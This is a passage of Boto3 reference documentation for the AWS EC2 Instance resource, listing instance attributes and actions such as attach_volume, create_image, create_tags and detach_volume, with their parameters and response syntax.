+ +- _(list) --_ + + The product codes attached to this instance, if applicable. + + - _(dict) --_ + + Describes a product code. + + - **ProductCodeId** _(string) --_ + + The product code. + + - **ProductCodeType** _(string) --_ + + The type of product code. + + +public_dns_name + +- _(string) --_ + + (IPv4 only) The public DNS name assigned to the instance. This name is not available until the instance enters the running state. For EC2-VPC, this name is only available if you've enabled DNS hostnames for your VPC. + + +public_ip_address + +- _(string) --_ + + The public IPv4 address, or the Carrier IP address assigned to the instance, if applicable. + + A Carrier IP address only applies to an instance launched in a subnet associated with a Wavelength Zone. + + +ramdisk_id + +- _(string) --_ + + The RAM disk associated with this instance, if applicable. + + +root_device_name + +- _(string) --_ + + The device name of the root device volume (for example, /dev/sda1 ). + + +root_device_type + +- _(string) --_ + + The root device type used by the AMI. The AMI can use an EBS volume or an instance store volume. + + +security_groups + +- _(list) --_ + + The security groups for the instance. + + - _(dict) --_ + + Describes a security group. + + - **GroupName** _(string) --_ + + The name of the security group. + + - **GroupId** _(string) --_ + + The ID of the security group. + + +source_dest_check + +- _(boolean) --_ + + Specifies whether to enable an instance launched in a VPC to perform NAT. This controls whether source/destination checking is enabled on the instance. A value of true means that checking is enabled, and false means that checking is disabled. The value must be false for the instance to perform NAT. For more information, see [NAT Instances](https://docs.aws.amazon.com/AmazonVPC/latest/UserGuide/VPC_NAT_Instance.html) in the _Amazon Virtual Private Cloud User Guide_ . + + +spot_instance_request_id + +- _(string) --_ + + If the request is a Spot Instance request, the ID of the request. + + +sriov_net_support + +- _(string) --_ + + Specifies whether enhanced networking with the Intel 82599 Virtual Function interface is enabled. + + +state + +- _(dict) --_ + + The current state of the instance. + + - **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + - 0 : pending + - 16 : running + - 32 : shutting-down + - 48 : terminated + - 64 : stopping + - 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + - **Name** _(string) --_ + + The current state of the instance. + + +state_reason + +- _(dict) --_ + + The reason for the most recent state transition. + + - **Code** _(string) --_ + + The reason code for the state change. + + - **Message** _(string) --_ + + The message for the state change. + + - Server.InsufficientInstanceCapacity : There was insufficient capacity available to satisfy the launch request. + - Server.InternalError : An internal error caused the instance to terminate during launch. + - Server.ScheduledStop : The instance was stopped due to a scheduled retirement. + - Server.SpotInstanceShutdown : The instance was stopped because the number of Spot requests with a maximum price equal to or higher than the Spot price exceeded available capacity or because of an increase in the Spot price. + - Server.SpotInstanceTermination : The instance was terminated because the number of Spot requests with a maximum price equal to or higher than the Spot price exceeded available capacity or because of an increase in the Spot price. + - Client.InstanceInitiatedShutdown : The instance was shut down using the shutdown -h command from the instance. + - Client.InstanceTerminated : The instance was terminated or rebooted during AMI creation. + - Client.InternalError : A client error caused the instance to terminate during launch. + - Client.InvalidSnapshot.NotFound : The specified snapshot was not found. + - Client.UserInitiatedHibernate : Hibernation was initiated on the instance. + - Client.UserInitiatedShutdown : The instance was shut down using the Amazon EC2 API. + - Client.VolumeLimitExceeded : The limit on the number of EBS volumes or total storage was exceeded. Decrease usage or request an increase in your account limits. + +state_transition_reason + +- _(string) --_ + + The reason for the most recent state transition. This might be an empty string. + + +subnet_id + +- _(string) --_ + + [EC2-VPC] The ID of the subnet in which the instance is running. + + +tags + +- _(list) --_ + + Any tags assigned to the instance. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +virtualization_type + +- _(string) --_ + + The virtualization type of the instance. + + +vpc_id + +- _(string) --_ + + [EC2-VPC] The ID of the VPC in which the instance is running. + + +References + +References are related resource instances that have a belongs-to relationship. For more information about references refer to the [_Resources Introduction Guide_](../../guide/resources.html#references-intro). + +classic_address + +(ClassicAddress) The related classic_address if set, otherwise None. + +image + +(Image) The related image if set, otherwise None. + +key_pair + +(KeyPairInfo) The related key_pair if set, otherwise None. + +network_interfaces + +(NetworkInterface) The related network_interfaces if set, otherwise None. + +placement_group + +(PlacementGroup) The related placement_group if set, otherwise None. + +subnet + +(Subnet) The related subnet if set, otherwise None. + +vpc + +(Vpc) The related vpc if set, otherwise None. + +Actions + +Actions call operations on resources. They may automatically handle the passing in of arguments set from identifiers and some attributes. For more information about actions refer to the [_Resources Introduction Guide_](../../guide/resources.html#actions-intro). + +attach_classic_link_vpc(kwargs_) + +Links an EC2-Classic instance to a ClassicLink-enabled VPC through one or more of the VPC's security groups. You cannot link an EC2-Classic instance to more than one VPC at a time. You can only link an instance that's in the running state. An instance is automatically unlinked from a VPC when it's stopped - you can link it to the VPC again when you restart it. + +After you've linked an instance, you cannot change the VPC security groups that are associated with it. To change the security groups, you must first unlink the instance, and then link it again. + +Linking your instance to a VPC is sometimes referred to as _attaching_ your instance. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/AttachClassicLinkVpc) + +**Request Syntax** + +response = instance.attach_classic_link_vpc( + DryRun=True|False, + Groups=[ + 'string', + ], + VpcId='string' +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **Groups** (_list_) -- + + **[REQUIRED]** + + The ID of one or more of the VPC's security groups. You cannot specify security groups from a different VPC. + + - _(string) --_ +- **VpcId** (_string_) -- + + **[REQUIRED]** + + The ID of a ClassicLink-enabled VPC. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Return': True|False +} + +**Response Structure** + +- _(dict) --_ + + - **Return** _(boolean) --_ + + Returns true if the request succeeds; otherwise, it returns an error. + + +attach_volume(kwargs_) + +Attaches an EBS volume to a running or stopped instance and exposes it to the instance with the specified device name. + +Encrypted EBS volumes must be attached to instances that support Amazon EBS encryption. For more information, see [Amazon EBS encryption](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +After you attach an EBS volume, you must make it available. For more information, see [Making an EBS volume available for use](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-using-volumes.html) . + +If a volume has an AWS Marketplace product code: + +- The volume can be attached only to a stopped instance. +- AWS Marketplace product codes are copied from the volume to the instance. +- You must be subscribed to the product. +- The instance type and operating system of the instance must support the product. For example, you can't detach a volume from a Windows instance and attach it to a Linux instance. + +For more information, see [Attaching Amazon EBS volumes](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-attaching-volume.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/AttachVolume) + +**Request Syntax** + +response = instance.attach_volume( + Device='string', + VolumeId='string', + DryRun=True|False +) + +Parameters + +- **Device** (_string_) -- + + **[REQUIRED]** + + The device name (for example, /dev/sdh or xvdh ). + +- **VolumeId** (_string_) -- + + **[REQUIRED]** + + The ID of the EBS volume. The volume and instance must be within the same Availability Zone. + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'AttachTime': datetime(2015, 1, 1), + 'Device': 'string', + 'InstanceId': 'string', + 'State': 'attaching'|'attached'|'detaching'|'detached'|'busy', + 'VolumeId': 'string', + 'DeleteOnTermination': True|False +} + +**Response Structure** + +- _(dict) --_ + + Describes volume attachment details. + + - **AttachTime** _(datetime) --_ + + The time stamp when the attachment initiated. + + - **Device** _(string) --_ + + The device name. + + - **InstanceId** _(string) --_ + + The ID of the instance. + + - **State** _(string) --_ + + The attachment state of the volume. + + - **VolumeId** _(string) --_ + + The ID of the volume. + + - **DeleteOnTermination** _(boolean) --_ + + Indicates whether the EBS volume is deleted on instance termination. + + +console_output(kwargs_) + +Gets the console output for the specified instance. For Linux instances, the instance console output displays the exact console output that would normally be displayed on a physical monitor attached to a computer. For Windows instances, the instance console output includes the last three system event log errors. + +By default, the console output returns buffered information that was posted shortly after an instance transition state (start, stop, reboot, or terminate). This information is available for at least one hour after the most recent post. Only the most recent 64 KB of console output is available. + +You can optionally retrieve the latest serial console output at any time during the instance lifecycle. This option is supported on instance types that use the Nitro hypervisor. + +For more information, see [Instance Console Output](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-console.html#instance-console-console-output) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/GetConsoleOutput) + +**Request Syntax** + +response = instance.console_output( + DryRun=True|False, + Latest=True|False +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **Latest** (_boolean_) -- + + When enabled, retrieves the latest console output for the instance. + + Default: disabled (false ) + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'InstanceId': 'string', + 'Output': 'string', + 'Timestamp': datetime(2015, 1, 1) +} + +**Response Structure** + +- _(dict) --_ + + - **InstanceId** _(string) --_ + + The ID of the instance. + + - **Output** _(string) --_ + + The console output, base64-encoded. If you are using a command line tool, the tool decodes the output for you. + + - **Timestamp** _(datetime) --_ + + The time at which the output was last updated. + + +create_image(kwargs_) + +Creates an Amazon EBS-backed AMI from an Amazon EBS-backed instance that is either running or stopped. + +If you customized your instance with instance store volumes or EBS volumes in addition to the root device volume, the new AMI contains block device mapping information for those volumes. When you launch an instance from this new AMI, the instance automatically launches with those additional volumes. + +For more information, see [Creating Amazon EBS-Backed Linux AMIs](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/creating-an-ami-ebs.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateImage) + +**Request Syntax** + +image = instance.create_image( + BlockDeviceMappings=[ + { + 'DeviceName': 'string', + 'VirtualName': 'string', + 'Ebs': { + 'DeleteOnTermination': True|False, + 'Iops': 123, + 'SnapshotId': 'string', + 'VolumeSize': 123, + 'VolumeType': 'standard'|'io1'|'io2'|'gp2'|'sc1'|'st1'|'gp3', + 'KmsKeyId': 'string', + 'Throughput': 123, + 'Encrypted': True|False + }, + 'NoDevice': 'string' + }, + ], + Description='string', + DryRun=True|False, + Name='string', + NoReboot=True|False, + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ] +) + +Parameters + +- **BlockDeviceMappings** (_list_) -- + + The block device mappings. This parameter cannot be used to modify the encryption status of existing volumes or snapshots. To create an AMI with encrypted snapshots, use the CopyImage action. + + - _(dict) --_ + + Describes a block device mapping. + + - **DeviceName** _(string) --_ + + The device name (for example, /dev/sdh or xvdh ). + + - **VirtualName** _(string) --_ + + The virtual device name (ephemeral N). Instance store volumes are numbered starting from 0. An instance type with 2 available instance store volumes can specify mappings for ephemeral0 and ephemeral1 . The number of available instance store volumes depends on the instance type. After you connect to the instance, you must mount the volume. + + NVMe instance store volumes are automatically enumerated and assigned a device name. Including them in your block device mapping has no effect. + + Constraints: For M3 instances, you must specify instance store volumes in the block device mapping for the instance. When you launch an M3 instance, we ignore any instance store volumes specified in the block device mapping for the AMI. + + - **Ebs** _(dict) --_ + + Parameters used to automatically set up EBS volumes when the instance is launched. + + - **DeleteOnTermination** _(boolean) --_ + + Indicates whether the EBS volume is deleted on instance termination. For more information, see [Preserving Amazon EBS volumes on instance termination](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/terminating-instances.html#preserving-volumes-on-termination) in the Amazon Elastic Compute Cloud User Guide. + + - **Iops** _(integer) --_ + + The number of I/O operations per second (IOPS). For gp3 , io1 , and io2 volumes, this represents the number of IOPS that are provisioned for the volume. For gp2 volumes, this represents the baseline performance of the volume and the rate at which the volume accumulates I/O credits for bursting. + + The following are the supported values for each volume type: + + - gp3 : 3,000-16,000 IOPS + - io1 : 100-64,000 IOPS + - io2 : 100-64,000 IOPS + + For io1 and io2 volumes, we guarantee 64,000 IOPS only for [Instances built on the Nitro System](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-types.html#ec2-nitro-instances) . Other instance families guarantee performance up to 32,000 IOPS. + + This parameter is required for io1 and io2 volumes. The default for gp3 volumes is 3,000 IOPS. This parameter is not supported for gp2 , st1 , sc1 , or standard volumes. + + - **SnapshotId** _(string) --_ + + The ID of the snapshot. + + - **VolumeSize** _(integer) --_ + + The size of the volume, in GiBs. You must specify either a snapshot ID or a volume size. If you specify a snapshot, the default is the snapshot size. You can specify a volume size that is equal to or larger than the snapshot size. + + The following are the supported volumes sizes for each volume type: + + - gp2 and gp3 :1-16,384 + - io1 and io2 : 4-16,384 + - st1 : 500-16,384 + - sc1 : 500-16,384 + - standard : 1-1,024 + - **VolumeType** _(string) --_ + + The volume type. For more information, see [Amazon EBS volume types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSVolumeTypes.html) in the _Amazon Elastic Compute Cloud User Guide_ . If the volume type is io1 or io2 , you must specify the IOPS that the volume supports. + + - **KmsKeyId** _(string) --_ + + Identifier (key ID, key alias, ID ARN, or alias ARN) for a customer managed CMK under which the EBS volume is encrypted. + + This parameter is only supported on BlockDeviceMapping objects called by [RunInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RunInstances.html) , [RequestSpotFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RequestSpotFleet.html) , and [RequestSpotInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RequestSpotInstances.html) . + + - **Throughput** _(integer) --_ + + The throughput that the volume supports, in MiB/s. + + This parameter is valid only for gp3 volumes. + + Valid Range: Minimum value of 125. Maximum value of 1000. + + - **Encrypted** _(boolean) --_ + + Indicates whether the encryption state of an EBS volume is changed while being restored from a backing snapshot. The effect of setting the encryption state to true depends on the volume origin (new or from a snapshot), starting encryption state, ownership, and whether encryption by default is enabled. For more information, see [Amazon EBS Encryption](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html#encryption-parameters) in the _Amazon Elastic Compute Cloud User Guide_ . + + In no case can you remove encryption from an encrypted volume. + + Encrypted volumes can only be attached to instances that support Amazon EBS encryption. For more information, see [Supported instance types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html#EBSEncryption_supported_instances) . + + This parameter is not returned by . + + - **NoDevice** _(string) --_ + + Suppresses the specified device included in the block device mapping of the AMI. + +- **Description** (_string_) -- A description for the new image. +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **Name** (_string_) -- + + **[REQUIRED]** + + A name for the new image. + + Constraints: 3-128 alphanumeric characters, parentheses (()), square brackets ([]), spaces ( ), periods (.), slashes (/), dashes (-), single quotes ('), at-signs (@), or underscores(_) + +- **NoReboot** (_boolean_) -- By default, Amazon EC2 attempts to shut down and reboot the instance before creating the image. If the No Reboot option is set, Amazon EC2 doesn't shut down the instance before creating the image. When this option is used, file system integrity on the created image can't be guaranteed. +- **TagSpecifications** (_list_) -- + + The tags to apply to the AMI and snapshots on creation. You can tag the AMI, the snapshots, or both. + + - To tag the AMI, the value for ResourceType must be image . + - To tag the snapshots that are created of the root volume and of other EBS volumes that are attached to the instance, the value for ResourceType must be snapshot . The same tag is applied to all of the snapshots that are created. + + If you specify other values for ResourceType , the request fails. + + To tag an AMI or snapshot after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + - _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + - **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id975)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id977)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + - **Tags** _(list) --_ + + The tags to apply to the resource. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +ec2.Image + +Returns + +Image resource + +create_tags(kwargs_) + +Adds or overwrites only the specified tags for the specified Amazon EC2 resource or resources. When you specify an existing tag key, the value is overwritten with the new value. Each resource can have a maximum of 50 tags. Each tag consists of a key and optional value. Tag keys must be unique per resource. + +For more information about tags, see [Tagging Your Resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) in the _Amazon Elastic Compute Cloud User Guide_ . For more information about creating IAM policies that control users' access to resources based on tags, see [Supported Resource-Level Permissions for Amazon EC2 API Actions](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-supported-iam-actions-resources.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateTags) + +**Request Syntax** + +tag = instance.create_tags( + DryRun=True|False, + Tags=[ + { + 'Key': 'string', + 'Value': 'string' + }, + ] +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **Tags** (_list_) -- + + **[REQUIRED]** + + The tags. The value parameter is required, but if you don't want the tag to have a value, specify the parameter with no value, and we set the value to an empty string. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +list(ec2.Tag) + +Returns + +A list of Tag resources + +delete_tags(kwargs_) + +Deletes the specified set of tags from the specified set of resources. + +To list the current tags, use DescribeTags . For more information about tags, see [Tagging Your Resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteTags) + +**Request Syntax** + +response = instance.delete_tags( + DryRun=True|False, + Tags=[ + { + 'Key': 'string', + 'Value': 'string' + }, + ] +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **Tags** (_list_) -- + + The tags to delete. Specify a tag key and an optional tag value to delete specific tags. If you specify a tag key without a tag value, we delete any tag with this key regardless of its value. If you specify a tag key with an empty string as the tag value, we delete the tag only if its value is an empty string. + + If you omit this parameter, we delete all user-defined tags for the specified resources. We do not delete AWS-generated tags (tags that have the aws: prefix). + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Returns + +None + +describe_attribute(kwargs_) + +Describes the specified attribute of the specified instance. You can specify only one attribute at a time. Valid attribute values are: instanceType | kernel | ramdisk | userData | disableApiTermination | instanceInitiatedShutdownBehavior | rootDeviceName | blockDeviceMapping | productCodes | sourceDestCheck | groupSet | ebsOptimized | sriovNetSupport + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInstanceAttribute) + +**Request Syntax** + +response = instance.describe_attribute( + Attribute='instanceType'|'kernel'|'ramdisk'|'userData'|'disableApiTermination'|'instanceInitiatedShutdownBehavior'|'rootDeviceName'|'blockDeviceMapping'|'productCodes'|'sourceDestCheck'|'groupSet'|'ebsOptimized'|'sriovNetSupport'|'enaSupport'|'enclaveOptions', + DryRun=True|False, + +) + +Parameters + +- **Attribute** (_string_) -- + + **[REQUIRED]** + + The instance attribute. + + Note: The enaSupport attribute is not supported at this time. + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Groups': [ + { + 'GroupName': 'string', + 'GroupId': 'string' + }, + ], + 'BlockDeviceMappings': [ + { + 'DeviceName': 'string', + 'Ebs': { + 'AttachTime': datetime(2015, 1, 1), + 'DeleteOnTermination': True|False, + 'Status': 'attaching'|'attached'|'detaching'|'detached', + 'VolumeId': 'string' + } + }, + ], + 'DisableApiTermination': { + 'Value': True|False + }, + 'EnaSupport': { + 'Value': True|False + }, + 'EnclaveOptions': { + 'Enabled': True|False + }, + 'EbsOptimized': { + 'Value': True|False + }, + 'InstanceId': 'string', + 'InstanceInitiatedShutdownBehavior': { + 'Value': 'string' + }, + 'InstanceType': { + 'Value': 'string' + }, + 'KernelId': { + 'Value': 'string' + }, + 'ProductCodes': [ + { + 'ProductCodeId': 'string', + 'ProductCodeType': 'devpay'|'marketplace' + }, + ], + 'RamdiskId': { + 'Value': 'string' + }, + 'RootDeviceName': { + 'Value': 'string' + }, + 'SourceDestCheck': { + 'Value': True|False + }, + 'SriovNetSupport': { + 'Value': 'string' + }, + 'UserData': { + 'Value': 'string' + } +} + +**Response Structure** + +- _(dict) --_ + + Describes an instance attribute. + + - **Groups** _(list) --_ + + The security groups associated with the instance. + + - _(dict) --_ + + Describes a security group. + + - **GroupName** _(string) --_ + + The name of the security group. + + - **GroupId** _(string) --_ + + The ID of the security group. + + - **BlockDeviceMappings** _(list) --_ + + The block device mapping of the instance. + + - _(dict) --_ + + Describes a block device mapping. + + - **DeviceName** _(string) --_ + + The device name (for example, /dev/sdh or xvdh ). + + - **Ebs** _(dict) --_ + + Parameters used to automatically set up EBS volumes when the instance is launched. + + - **AttachTime** _(datetime) --_ + + The time stamp when the attachment initiated. + + - **DeleteOnTermination** _(boolean) --_ + + Indicates whether the volume is deleted on instance termination. + + - **Status** _(string) --_ + + The attachment state. + + - **VolumeId** _(string) --_ + + The ID of the EBS volume. + + - **DisableApiTermination** _(dict) --_ + + If the value is true , you can't terminate the instance through the Amazon EC2 console, CLI, or API; otherwise, you can. + + - **Value** _(boolean) --_ + + The attribute value. The valid values are true or false . + + - **EnaSupport** _(dict) --_ + + Indicates whether enhanced networking with ENA is enabled. + + - **Value** _(boolean) --_ + + The attribute value. The valid values are true or false . + + - **EnclaveOptions** _(dict) --_ + + To enable the instance for AWS Nitro Enclaves, set this parameter to true ; otherwise, set it to false . + + - **Enabled** _(boolean) --_ + + If this parameter is set to true , the instance is enabled for AWS Nitro Enclaves; otherwise, it is not enabled for AWS Nitro Enclaves. + + - **EbsOptimized** _(dict) --_ + + Indicates whether the instance is optimized for Amazon EBS I/O. + + - **Value** _(boolean) --_ + + The attribute value. The valid values are true or false . + + - **InstanceId** _(string) --_ + + The ID of the instance. + + - **InstanceInitiatedShutdownBehavior** _(dict) --_ + + Indicates whether an instance stops or terminates when you initiate shutdown from the instance (using the operating system command for system shutdown). + + - **Value** _(string) --_ + + The attribute value. The value is case-sensitive. + + - **InstanceType** _(dict) --_ + + The instance type. + + - **Value** _(string) --_ + + The attribute value. The value is case-sensitive. + + - **KernelId** _(dict) --_ + + The kernel ID. + + - **Value** _(string) --_ + + The attribute value. The value is case-sensitive. + + - **ProductCodes** _(list) --_ + + A list of product codes. + + - _(dict) --_ + + Describes a product code. + + - **ProductCodeId** _(string) --_ + + The product code. + + - **ProductCodeType** _(string) --_ + + The type of product code. + + - **RamdiskId** _(dict) --_ + + The RAM disk ID. + + - **Value** _(string) --_ + + The attribute value. The value is case-sensitive. + + - **RootDeviceName** _(dict) --_ + + The device name of the root device volume (for example, /dev/sda1 ). + + - **Value** _(string) --_ + + The attribute value. The value is case-sensitive. + + - **SourceDestCheck** _(dict) --_ + + Indicates whether source/destination checking is enabled. A value of true means that checking is enabled, and false means that checking is disabled. This value must be false for a NAT instance to perform NAT. + + - **Value** _(boolean) --_ + + The attribute value. The valid values are true or false . + + - **SriovNetSupport** _(dict) --_ + + Indicates whether enhanced networking with the Intel 82599 Virtual Function interface is enabled. + + - **Value** _(string) --_ + + The attribute value. The value is case-sensitive. + + - **UserData** _(dict) --_ + + The user data. + + - **Value** _(string) --_ + + The attribute value. The value is case-sensitive. + + +detach_classic_link_vpc(kwargs_) + +Unlinks (detaches) a linked EC2-Classic instance from a VPC. After the instance has been unlinked, the VPC security groups are no longer associated with it. An instance is automatically unlinked from a VPC when it's stopped. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DetachClassicLinkVpc) + +**Request Syntax** + +response = instance.detach_classic_link_vpc( + DryRun=True|False, + VpcId='string' +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **VpcId** (_string_) -- + + **[REQUIRED]** + + The ID of the VPC to which the instance is linked. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Return': True|False +} + +**Response Structure** + +- _(dict) --_ + + - **Return** _(boolean) --_ + + Returns true if the request succeeds; otherwise, it returns an error. + + +detach_volume(kwargs_) + +Detaches an EBS volume from an instance. Make sure to unmount any file systems on the device within your operating system before detaching the volume. Failure to do so can result in the volume becoming stuck in the busy state while detaching. If this happens, detachment can be delayed indefinitely until you unmount the volume, force detachment, reboot the instance, or all three. If an EBS volume is the root device of an instance, it can't be detached while the instance is running. To detach the root volume, stop the instance first. + +When a volume with an AWS Marketplace product code is detached from an instance, the product code is no longer associated with the instance. + +For more information, see [Detaching an Amazon EBS volume](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-detaching-volume.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DetachVolume) + +**Request Syntax** + +response = instance.detach_volume( + Device='string', + Force=True|False, + VolumeId='string', + DryRun=True|False +) + +Parameters + +- **Device** (_string_) -- The device name. +- **Force** (_boolean_) -- Forces detachment if the previous detachment attempt did not occur cleanly (for example, logging into an instance, unmounting the volume, and detaching normally). This option can lead to data loss or a corrupted file system. Use this option only as a last resort to detach a volume from a failed instance. The instance won't have an opportunity to flush file system caches or file system metadata. If you use this option, you must perform file system check and repair procedures. +- **VolumeId** (_string_) -- + + **[REQUIRED]** + + The ID of the volume. + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'AttachTime': datetime(2015, 1, 1), + 'Device': 'string', + 'InstanceId': 'string', + 'State': 'attaching'|'attached'|'detaching'|'detached'|'busy', + 'VolumeId': 'string', + 'DeleteOnTermination': True|False +} + +**Response Structure** + +- _(dict) --_ + + Describes volume attachment details. + + - **AttachTime** _(datetime) --_ + + The time stamp when the attachment initiated. + + - **Device** _(string) --_ + + The device name. + + - **InstanceId** _(string) --_ + + The ID of the instance. + + - **State** _(string) --_ + + The attachment state of the volume. + + - **VolumeId** _(string) --_ + + The ID of the volume. + + - **DeleteOnTermination** _(boolean) --_ + + Indicates whether the 